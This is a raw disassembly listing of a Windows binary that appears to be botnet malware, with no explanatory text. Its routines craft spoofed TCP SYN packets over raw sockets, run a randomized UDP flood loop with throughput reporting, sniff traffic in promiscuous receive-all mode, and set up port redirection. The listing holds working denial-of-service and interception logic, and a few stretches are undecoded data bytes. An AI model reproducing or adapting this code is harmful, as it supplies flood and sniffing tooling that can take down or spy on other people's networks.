call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+50h]
mov ecx, [esi+58h]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_401DB6
sub_426F70 endp
; ---------------------------------------------------------------------------
cdq
and edx, 3FFh
add esp, 10h
add eax, edx
mov ecx, edi
sar eax, 0Ah
cdq
idiv dword ptr [esi+50h]
mov edx, [esi+58h]
push eax
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+20h]
push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
push eax
call sub_40102D
add esp, 18h
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4270E0 proc near ; CODE XREF: sub_401BB3j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021A3
sub_4270E0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_427171
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_427171: ; CODE XREF: ___:00427151j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
nop
call near ptr 71AB8769h
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_4271A4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271A4: ; CODE XREF: ___:00427195j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
call near ptr 71AB3EA1h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_4271C7
loc_4271BA: ; CODE XREF: ___:0042736Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4271C7: ; CODE XREF: ___:004271B8j
mov ecx, [esp+0B4h]
mov ebp, dword_50FC2C
push ecx
mov word ptr [esp+60h], 2
call ebp ; ntohs
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp ; ntohs
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp ; ntohs
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
nop
call near ptr 27F0769h
mov [esp+48h], eax
mov al, byte_4D64F9
test al, al
jz loc_42741B
mov ebx, dword_50FABC
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_427265
; ---------------------------------------------------------------------------
xor esi, esi
loc_427265: ; CODE XREF: ___:00427261j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp ; ntohs
push 14h
mov [esp+3Ah], ax
call ebp ; ntohs
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
nop
call near ptr 71AB2BC0h
mov esi, eax
mov [esp+2Ch], esi
call ebx ; rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp ; ntohs
mov [esp+34h], ax
call ebx ; rand
mov edi, eax
shl edi, 10h
call ebx ; rand
or edi, eax
push edi
call ebp ; ntohs
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A28
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A28
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
nop
call near ptr 71AB2C69h
cmp eax, 0FFFFFFFFh
jz loc_4271BA
nop
call near ptr 27F0769h
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_427417
mov al, [esp+13h]
test al, al
jz short loc_4273B9
push 2710h
push 3E8h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4273B9: ; CODE XREF: ___:0042739Ej
push 0FFh
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021A3
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021A3
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 8EF9E890h, 0F9A00242h, 84004D64h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_427417: ; CODE XREF: ___:00427396j
mov edi, [esp+18h]
loc_42741B: ; CODE XREF: ___:0042724Bj
push edi
nop
call near ptr 71AB9639h
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_427520 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40187F
mov esi, eax
nop
call near ptr 77C371D3h
and eax, 800001FFh
jns short loc_427541
dec eax
or eax, 0FFFFFE00h
inc eax
loc_427541: ; CODE XREF: sub_427520+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BB3
sub_427520 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427590 proc near ; CODE XREF: sub_401785j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427590
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E11C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427590 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_427618
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427618: ; CODE XREF: sub_427600+Dj
mov eax, esi
pop esi
retn 4
sub_427600 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427630 proc near ; CODE XREF: sub_401159j
jmp sub_4014C4
sub_427630 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427650 proc near ; CODE XREF: sub_401A05j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_401424
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014D3
push eax
call sub_401730
add esp, 14h
test eax, eax
jz short loc_42771E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_42771E: ; CODE XREF: sub_427650+A2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427650 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277C0 proc near ; CODE XREF: sub_401730j
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_436840
push esi
push 11h
push 2
push 2
call near ptr 71AB3B91h
nop
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_427821
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_42781A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_42781A: ; CODE XREF: sub_4277C0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_427821: ; CODE XREF: sub_4277C0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_50FABC
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_42785D
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42785D: ; CODE XREF: sub_4277C0+77j
push esi
nop
call near ptr 71AB2B66h
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_42787B
mov [esp+28h+arg_FFE8], 1
jmp short loc_42788E
; ---------------------------------------------------------------------------
loc_42787B: ; CODE XREF: sub_4277C0+ACj
cmp esi, 0FFFFh
jle short loc_42788E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_42788E: ; CODE XREF: sub_4277C0+9Bj
; sub_4277C0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_4278A4
mov [esp+28h+arg_FFE4], 1
loc_4278A4: ; CODE XREF: sub_4277C0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_4278DE
loc_4278CB: ; CODE XREF: sub_4277C0+11Cj
call ebx ; rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_4278CB
loc_4278DE: ; CODE XREF: sub_4277C0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_427970
mov ebp, dword_50FC5C
loc_4278F6: ; CODE XREF: sub_4277C0+1AEj
mov al, byte_4D64F9
test al, al
jz short loc_427970
mov esi, 0Bh
loc_427904: ; CODE XREF: sub_4277C0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx ; rand
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp ; sendto
mov eax, [esp+40h+arg_FFCC]
push eax
nop
call near ptr 2850303h
dec esi
jnz short loc_427904
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_42795B
call ebx ; rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_42795B: ; CODE XREF: sub_4277C0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_4278F6
loc_427970: ; CODE XREF: sub_4277C0+12Aj
; sub_4277C0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_4277C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4279F0 proc near ; CODE XREF: sub_40207Cj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A28
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_427A4D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A4D: ; CODE XREF: sub_4279F0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_427A6D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_427A6D: ; CODE XREF: sub_4279F0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_4279F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427AD0 proc near ; CODE XREF: sub_401D9Dj
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_436840
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40187F
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40187F
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_446F70
mov eax, edi
loc_427B37: ; CODE XREF: sub_427AD0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_427B5B
test cl, cl
jz short loc_427B57
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_427B5B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_427B37
loc_427B57: ; CODE XREF: sub_427AD0+71j
xor eax, eax
jmp short loc_427B60
; ---------------------------------------------------------------------------
loc_427B5B: ; CODE XREF: sub_427AD0+6Dj
; sub_427AD0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_427B60: ; CODE XREF: sub_427AD0+89j
cmp eax, ebx
jnz short loc_427BB3
mov ebp, dword_4D6107
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_427B77
cmp ebp, 0FFFFFFFFh
jnz short loc_427BBE
loc_427B77: ; CODE XREF: sub_427AD0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
nop
call near ptr 71AB50C8h
lea ecx, [esp+18h+arg_1C]
push ecx
call near ptr 71AB4FD4h
nop
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_427BBE
; ---------------------------------------------------------------------------
loc_427BB3: ; CODE XREF: sub_427AD0+92j
push edi
call sub_40187F
add esp, 4
mov ebp, eax
loc_427BBE: ; CODE XREF: sub_427AD0+A5j
; sub_427AD0+E1j
cmp ebp, ebx
jz short loc_427BC7
cmp ebp, 0FFFFFFFFh
jnz short loc_427BCD
loc_427BC7: ; CODE XREF: sub_427AD0+F0j
mov ebp, dword_4D6107
loc_427BCD: ; CODE XREF: sub_427AD0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_427D0D
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jz loc_427D0D
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
call near ptr 71AB3E00h
nop
cmp eax, 0FFFFFFFFh
jz loc_427D0D
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
nop
call near ptr 71AB4489h
cmp eax, 0FFFFFFFFh
jz loc_427D0D
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_427CF3
mov ebx, dword_50FC90
loc_427C63: ; CODE XREF: sub_427AD0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx ; recv
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_427CE3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_427CBE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_427CDB
; ---------------------------------------------------------------------------
loc_427CBE: ; CODE XREF: sub_427AD0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_427CE3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_427CDB: ; CODE XREF: sub_427AD0+1ECj
call sub_40207C
add esp, 8
loc_427CE3: ; CODE XREF: sub_427AD0+1C0j
; sub_427AD0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_427C63
loc_427CF3: ; CODE XREF: sub_427AD0+187j
mov edx, dword_50FA84
add edx, 20h
push edx
nop
call near ptr 77C3EEF6h
add esp, 4
push esi
nop
call near ptr 71AB9639h
loc_427D0D: ; CODE XREF: sub_427AD0+11Dj
; sub_427AD0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_427AD0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427DC0 proc near ; CODE XREF: sub_401889j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427DC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_444F40
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E12C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427E30 proc near ; CODE XREF: sub_401F82j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427E30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427EF0 proc near ; CODE XREF: sub_40179Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427EF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427EF0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427FC0: ; CODE XREF: ___:00401A14j
; ___:loc_402068j
push esi
mov esi, ecx
call sub_40179E
test byte ptr [esp+8], 1
jz short loc_427FD8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_427FD8: ; CODE XREF: ___:00427FCDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015F5
test [esp+4+arg_0], 1
jz short loc_428008
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428008: ; CODE XREF: sub_427FF0+Dj
mov eax, esi
pop esi
retn 4
sub_427FF0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428020 proc near ; CODE XREF: sub_4015F5j
jmp sub_40179E
sub_428020 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428040 proc near ; CODE XREF: sub_4015AFj
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_401D9D
add esp, 10h
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_428040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428160 proc near ; CODE XREF: sub_401884j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428160
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401F82
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_401424
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
